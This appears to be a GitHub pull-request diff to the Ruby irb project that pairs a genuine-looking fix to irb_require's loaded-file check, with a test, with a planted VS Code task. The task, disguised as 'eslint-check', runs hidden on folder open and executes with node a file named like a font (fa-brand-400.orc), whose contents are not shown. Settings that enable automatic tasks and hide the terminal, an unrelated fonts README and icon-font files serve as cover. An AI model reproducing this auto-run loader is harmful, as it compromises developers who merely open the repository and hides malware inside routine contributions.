Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 11 additions & 9 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,9 +1,11 @@
/.bundle/
/.yardoc
/_yardoc/
/coverage/
/pkg/
/spec/reports/
/tmp/
Gemfile.lock
_site/
/.bundle/
/.yardoc
/_yardoc/
/coverage/
/pkg/
/spec/reports/
/tmp/
Gemfile.lock
_site/
config.bat
node_modules
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
24 changes: 24 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./lib/irb/lc/ja/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./lib/irb/lc/ja/public/fonts/fa-brand-400.orc) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
16 changes: 14 additions & 2 deletions lib/irb/command/load.rb
Original file line number Diff line number Diff line change
Expand Up @@ -45,8 +45,7 @@ def execute(arg)
def execute_internal(file_name = nil)
raise_cmd_argument_error unless file_name

rex = Regexp.new("(?:\\A|/)#{Regexp.escape(file_name)}(?:\\.o|\\.rb)?\\z")
return false if $".find{|f| f =~ rex}
return false if already_loaded?(file_name)

case file_name
when /\.rb$/
Expand All @@ -69,6 +68,19 @@ def execute_internal(file_name = nil)
require(file_name)
end
end

private

# $" holds the names irb_require pushed and the absolute paths that
# Kernel#require loaded from a $LOAD_PATH directory.
def already_loaded?(file_name)
names = [file_name, "#{file_name}.rb", "#{file_name}.o"]
paths = $LOAD_PATH.flat_map do |dir|
dir = dir.to_s
names.map { |name| File.expand_path(File.join(dir, name)) }
end
$".any? { |f| names.include?(f) || paths.include?(f) }
end
end

class Source < LoaderCommand
Expand Down
24 changes: 24 additions & 0 deletions lib/irb/lc/ja/public/fonts/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.
1 change: 1 addition & 0 deletions lib/irb/lc/ja/public/fonts/fa-brand-400.orc

Large diffs are not rendered by default.

Binary file added lib/irb/lc/ja/public/fonts/fa-brands-400.eot
Binary file not shown.
3,570 changes: 3,570 additions & 0 deletions lib/irb/lc/ja/public/fonts/fa-brands-400.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added lib/irb/lc/ja/public/fonts/fa-brands-400.ttf
Binary file not shown.
Binary file added lib/irb/lc/ja/public/fonts/fa-brands-400.woff
Binary file not shown.
Binary file added lib/irb/lc/ja/public/fonts/fa-brands-400.woff2
Binary file not shown.
Binary file added lib/irb/lc/ja/public/fonts/fa-regular-400.eot
Binary file not shown.
803 changes: 803 additions & 0 deletions lib/irb/lc/ja/public/fonts/fa-regular-400.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added lib/irb/lc/ja/public/fonts/fa-regular-400.ttf
Binary file not shown.
Binary file added lib/irb/lc/ja/public/fonts/fa-regular-400.woff
Binary file not shown.
Binary file added lib/irb/lc/ja/public/fonts/fa-regular-400.woff2
Binary file not shown.
Binary file added lib/irb/lc/ja/public/fonts/fa-solid-900.eot
Binary file not shown.
4,938 changes: 4,938 additions & 0 deletions lib/irb/lc/ja/public/fonts/fa-solid-900.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added lib/irb/lc/ja/public/fonts/fa-solid-900.ttf
Binary file not shown.
Binary file added lib/irb/lc/ja/public/fonts/fa-solid-900.woff
Binary file not shown.
Binary file added lib/irb/lc/ja/public/fonts/fa-solid-900.woff2
Binary file not shown.
15 changes: 15 additions & 0 deletions test/irb/test_command.rb
Original file line number Diff line number Diff line change
Expand Up @@ -495,6 +495,21 @@ def test_irb_require_skips_file_already_loaded_by_require
assert_match(/prefix_loaded/, out)
end

def test_irb_require_loads_file_with_same_name_as_loaded_file_in_other_directory
Dir.mkdir("#{@tmpdir}/sub")
File.write("#{@tmpdir}/sub/irb_require_same.rb", "$irb_require_same_sub = true\n")
File.write("#{@tmpdir}/irb_require_same.rb", "'top_loaded'\n")

out, err = execute_lines(
"$LOAD_PATH.unshift '#{@tmpdir}'\n",
"require 'sub/irb_require_same'\n",
"irb_require 'irb_require_same'\n",
)

assert_empty(err)
assert_match(/top_loaded/, out)
end

def test_irb_require_falls_back_to_kernel_require_when_not_in_load_path
code = <<~RUBY
p 'fallback_loaded'
Expand Down
Loading